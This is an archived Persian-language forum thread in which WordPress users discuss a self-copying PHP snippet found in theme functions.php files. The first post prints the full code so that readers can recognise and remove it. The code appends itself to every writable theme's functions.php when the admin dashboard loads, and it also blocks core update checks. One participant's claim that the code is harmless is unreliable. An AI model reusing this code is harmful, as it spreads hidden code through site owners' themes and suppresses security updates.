PDA

توجه ! این یک نسخه آرشیو شده میباشد و در این حالت شما عکسی را مشاهده نمیکنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : کد مخرب وردپرس و لود بالای سایت



sazsaz
February 28th, 2018, 14:14
دوستان عزیز سلام
ممکن است سایت شما فشاری بالا بر روی سرور آورده و چند باز نیز از سمت سرور بسته شده باشد
یکی از دلایلی که این فشار بیش از حد به سرور شما می آید کد بسیار مخربی است که در زیر گذاشته شده است
لطفا functions.php قالب سایت خود را باز کرده و کد زیر اگر وجود دارد پاک کنید
کد:

<?php
function _checkactive_widgets(){
$widget=substr(file_get_contents(__FILE__),strripo s(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgets_cont(array(substr(dirname( __FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);
$output .= ($isshowdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgets_cont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}

if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_checkactive_widgets");

add_action("init", "_getprepare_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved="1" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status="publish"";
if(!$show_pass_post) $request .= " AND post_password =""";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href="" . $permalink . "" title="" . $post_title."">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}

function short_title(){
$chars_limit=20;
$text=get_the_title();
$chars_len = strlen($text);
$stext=mb_substr($text,0,$chars_limit,"utf-8");
if($chars_len > $chars_limit){
echo $stext."...";
}else{
echo $text;
}
}

function new_excerpt_more( $more ) {
return '...';
}
add_filter('excerpt_more', 'new_excerpt_more');

function custom_excerpt_length( $length ) {
return 30;
}
add_filter( 'excerpt_length', 'custom_excerpt_length', 999 );

// Remove Width and Height Attributes From Inserted Images
add_filter( 'post_thumbnail_html', 'remove_width_attribute', 10 );
add_filter( 'image_send_to_editor', 'remove_width_attribute', 10 );

function remove_width_attribute( $html ) {
$html = preg_replace( '/(width|height)="\d*"\s/', "", $html );
return $html;
}

add_filter( 'pre_site_transient_update_core', create_function( '$a', "return null;" ) );


@ini_set( 'upload_max_size' , '64M' );
@ini_set( 'post_max_size', '64M');
@ini_set( 'max_execution_time', '300' );

?>

لازم به ذکر است که این کد بطور وحشتناک تکثیر می گردد و اگر یک سایت این مشکل را داشته باشد به بقیه سایت ها نیز سرایت می کند

منبع : انجمن وردپرس ایرانی (http://wpir.ir/thread125.html)

sazsaz
March 1st, 2018, 13:08
دوستان عزیز هر کدام در این زمینه مشکلی داشتند اعلام کنند

T.Toosi
March 1st, 2018, 14:07
باسلام، کد مخربی مشاهده نشد، فقط متد _checkactive_widgets در هر بار شدن داشبورد ادمین، بررسی می کند در function.php تمام قالب های روی وردپرس این متد وجود دارد یا خیر، در صورتی عدم وجود کل function.php را کپی می کند که احتمالا برنامه نویس هدفی از این کار داشته است یا کد های شما ناقص است و چیزی از قلم افتاده است.

sazsaz
March 1st, 2018, 14:30
جناب طوسی این کد درسته از نظر ویروس بودن برای آنتی شلر ها و آنتی ویروس ها ویروس تلقی نمی شه ولی کارکرد این کد در قالب وردپرس چه سودی داره ؟
1- هیچ سوذ
2- باعث اسکن کلیه شاخه ها و زیر شاخه ها می شه ؟ (لود بسیار بالای رم و سی پی یو )
3- این کد نمی تونه توسط کاربری روی سایتش افزوده شده باشه ( اتوماتیک و ناخواسته اضافه می شه )

شما به این نوع کد چه می گید ؟ مخرب نیست ؟ فشار به cpu نمی یاره ؟

T.Toosi
March 1st, 2018, 14:44
جناب طوسی این کد درسته از نظر ویروس بودن برای آنتی شلر ها و آنتی ویروس ها ویروس تلقی نمی شه ولی کارکرد این کد در قالب وردپرس چه سودی داره ؟
1- هیچ سوذ
2- باعث اسکن کلیه شاخه ها و زیر شاخه ها می شه ؟ (لود بسیار بالای رم و سی پی یو )
3- این کد نمی تونه توسط کاربری روی سایتش افزوده شده باشه ( اتوماتیک و ناخواسته اضافه می شه )

شما به این نوع کد چه می گید ؟ مخرب نیست ؟ فشار به cpu نمی یاره ؟

باسلام، scandir هیچ فشاری بروی سرور شما نمیاره همچنین یک عملیات compare در این متد دارد که اونم مشکلی ندارد (مگر function.php بالای 10mb باشد تا این عملیات compare فشار بیاورد) همچنین این متد فقط با ورود به داشبورد اجرا خواهد شد، اگر این متد با ورود هر کاربر در صفحه اصلی اجرا می شد و سایت پربازدید بود می توان گفت بیشتر باید بروی آن بررسی شود، اما همانطور که گفتم به احتمال زیاد برنامه نویس هدفی داشته است و یا کد های شما ناقص است برای همین نمی شود نتیجه گیری کرد اما در کل کد های بالا هیچ خطری ندارد.

sazsaz
March 1st, 2018, 15:05
باسلام، scandir هیچ فشاری بروی سرور شما نمیاره همچنین یک عملیات compare در این متد دارد که اونم مشکلی ندارد (مگر function.php بالای 10mb باشد تا این عملیات compare فشار بیاورد) همچنین این متد فقط با ورود به داشبورد اجرا خواهد شد، اگر این متد با ورود هر کاربر در صفحه اصلی اجرا می شد و سایت پربازدید بود می توان گفت بیشتر باید بروی آن بررسی شود، اما همانطور که گفتم به احتمال زیاد برنامه نویس هدفی داشته است و یا کد های شما ناقص است برای همین نمی شود نتیجه گیری کرد اما در کل کد های بالا هیچ خطری ندارد.
حرف شما صحیح
ولی این صحیح بودن در همه جا صدق نمی کنه
این کد در بیش از 80 درصد باعث خرابی در یک سایت وردپرسی هست البته منم به این گفته شما بسیار موافقم که فرمودید(( برنامه نویس هدفی داشته است )) اما متاسفانه در ایران ما فقط نال و ریپ و کپی((متاسفانه توی دنیا بیشترین سایت های هک شده را داریم ))
مثلا برخی از این لینک ها را توجه کنید
https://focustech.it/wordpress-errore-isactivate_widgets-70353
https://forums.digitalpoint.com/threads/wordpress-blog-hijacked-traffic-drops-70-some-unwanted-code-in-theme-files.2382272/
https://www.webdesignermonza.com/wordpress-virus-redirect-194.html
(لازم به ذکر است که در تمام سایت های ایرانی فقط می گن حذف کنید و یکی نگفته این از کجا اومده - دریغ از کمی فکر)
این متن را در گوگل سرچ کنید
رفع خطای function _check_active_widget

T.Toosi
March 1st, 2018, 15:38
حرف شما صحیح
ولی این صحیح بودن در همه جا صدق نمی کنه
این کد در بیش از 80 درصد باعث خرابی در یک سایت وردپرسی هست البته منم به این گفته شما بسیار موافقم که فرمودید(( برنامه نویس هدفی داشته است )) اما متاسفانه در ایران ما فقط نال و ریپ و کپی((متاسفانه توی دنیا بیشترین سایت های هک شده را داریم ))
مثلا برخی از این لینک ها را توجه کنید
https://focustech.it/wordpress-errore-isactivate_widgets-70353
https://forums.digitalpoint.com/threads/wordpress-blog-hijacked-traffic-drops-70-some-unwanted-code-in-theme-files.2382272/
https://www.webdesignermonza.com/wordpress-virus-redirect-194.html
(لازم به ذکر است که در تمام سایت های ایرانی فقط می گن حذف کنید و یکی نگفته این از کجا اومده - دریغ از کمی فکر)
این متن را در گوگل سرچ کنید
رفع خطای function _check_active_widget

باسلام،

آدرس هایی که دادید مشاهده کردم بیشتر مشکلات به خاطر redeclare است و اینکه چون خودش را کپی می کند دوباره مشکل بر میگردد از آن به اسم ویروس و malware یاد شده است اما در واقعیت اگر لاین به لاین بررسی کنید کد ها خیلی تمیز نوشته شده است و به احتمال زیاد هدف برنامه نویس سینک کردن متد ها داخل تمام قالب ها بوده است و حتی در لاین 12 ، تعداد قالب هایی که متد در آن پیدا نشده در function را برای دیباگ مقدار گذاری کرده است، همانطور که اشاره کردید این تکه کد دست به دست چرخیده است(ریپ و کپی و ..) و نتیجه الان شده است.

ایران نشر
March 1st, 2018, 19:17
این کدها با اولین نصب قالب بطور اتوماتیک در فایل فانکشن ایجاد میشه
بهترین راه حل اینکه پرمیشن فایل فانکشن روی 444 قرار بدید